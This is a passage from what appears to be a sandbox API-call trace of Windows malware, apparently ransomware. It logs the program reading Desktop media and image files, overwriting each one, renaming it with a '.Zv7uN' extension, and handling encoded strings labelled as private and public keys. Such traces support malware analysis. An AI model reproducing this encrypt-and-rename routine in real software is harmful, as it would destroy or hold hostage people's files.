HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\d9jSeF1 JpcT7qj6px3H.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\d9jsef1 jpct7qj6px3h.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0127.365] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0127.366] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0127.366] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x157ea [0127.366] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0127.366] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x157ea, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x157ea, lpOverlapped=0x0) returned 1 [0127.369] CloseHandle (hObject=0x1e8) returned 1 [0127.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\d9jSeF1 JpcT7qj6px3H.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\d9jsef1 jpct7qj6px3h.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0127.375] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f44790*, nNumberOfBytesToWrite=0x157ea, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f44790*, lpNumberOfBytesWritten=0x18f3e0*=0x157ea, lpOverlapped=0x0) returned 1 [0127.380] CloseHandle (hObject=0x1e8) returned 1 [0127.380] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\d9jSeF1 JpcT7qj6px3H.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\d9jsef1 jpct7qj6px3h.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\d9jSeF1 JpcT7qj6px3H.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\d9jsef1 jpct7qj6px3h.m4a.zv7un")) returned 1 [0127.381] GetCurrentThreadId () returned 0xa30 [0127.381] GetCurrentThreadId () returned 0xa30 [0127.381] GetCurrentThreadId () returned 0xa30 [0127.381] GetCurrentThreadId () returned 0xa30 [0127.382] GetCurrentThreadId () returned 0xa30 [0127.382] GetCurrentThreadId () returned 0xa30 [0127.382] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x528327f0, ftCreationTime.dwHighDateTime=0x1d5dd35, ftLastAccessTime.dwLowDateTime=0xdc4b6a90, ftLastAccessTime.dwHighDateTime=0x1d5e4f8, ftLastWriteTime.dwLowDateTime=0xdc4b6a90, ftLastWriteTime.dwHighDateTime=0x1d5e4f8, nFileSizeHigh=0x0, nFileSizeLow=0x11984, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="N8umJoiWNw2WcG.bmp", cAlternateFileName="N8UMJO~1.BMP")) returned 1 [0127.382] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.382] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.382] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\N8umJoiWNw2WcG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\n8umjoiwnw2wcg.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x528327f0, ftCreationTime.dwHighDateTime=0x1d5dd35, ftLastAccessTime.dwLowDateTime=0xdc4b6a90, ftLastAccessTime.dwHighDateTime=0x1d5e4f8, ftLastWriteTime.dwLowDateTime=0xdc4b6a90, ftLastWriteTime.dwHighDateTime=0x1d5e4f8, nFileSizeHigh=0x0, nFileSizeLow=0x11984)) returned 1 [0127.382] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\N8umJoiWNw2WcG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\n8umjoiwnw2wcg.bmp")) returned 0x20 [0127.382] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\N8umJoiWNw2WcG.bmp", dwFileAttributes=0x80) returned 1 [0127.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.385] GetCurrentThreadId () returned 0xa30 [0127.385] GetCurrentThreadId () returned 0xa30 [0127.386] GetCurrentThreadId () returned 0xa30 [0127.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.386] GetCurrentThreadId () returned 0xa30 [0127.387] GetCurrentThreadId () returned 0xa30 [0127.387] GetCurrentThreadId () returned 0xa30 [0127.387] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\N8umJoiWNw2WcG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\n8umjoiwnw2wcg.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0127.387] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0127.387] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0127.387] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x11984 [0127.387] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0127.387] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x11984, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f3d4*=0x11984, lpOverlapped=0x0) returned 1 [0127.390] CloseHandle (hObject=0x1e8) returned 1 [0127.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\N8umJoiWNw2WcG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\n8umjoiwnw2wcg.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0127.395] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f39460*, nNumberOfBytesToWrite=0x11984, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f39460*, lpNumberOfBytesWritten=0x18f3e0*=0x11984, lpOverlapped=0x0) returned 1 [0127.400] CloseHandle (hObject=0x1e8) returned 1 [0127.400] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\N8umJoiWNw2WcG.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\n8umjoiwnw2wcg.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\N8umJoiWNw2WcG.bmp.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\n8umjoiwnw2wcg.bmp.zv7un")) returned 1 [0127.408] GetCurrentThreadId () returned 0xa30 [0127.408] GetCurrentThreadId () returned 0xa30 [0127.408] GetCurrentThreadId () returned 0xa30 [0127.408] GetCurrentThreadId () returned 0xa30 [0127.408] GetCurrentThreadId () returned 0xa30 [0127.409] GetCurrentThreadId () returned 0xa30 [0127.409] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bbb76b0, ftCreationTime.dwHighDateTime=0x1d5e7f2, ftLastAccessTime.dwLowDateTime=0x46afa6a0, ftLastAccessTime.dwHighDateTime=0x1d5e53d, ftLastWriteTime.dwLowDateTime=0x46afa6a0, ftLastWriteTime.dwHighDateTime=0x1d5e53d, nFileSizeHigh=0x0, nFileSizeLow=0x18c5f, 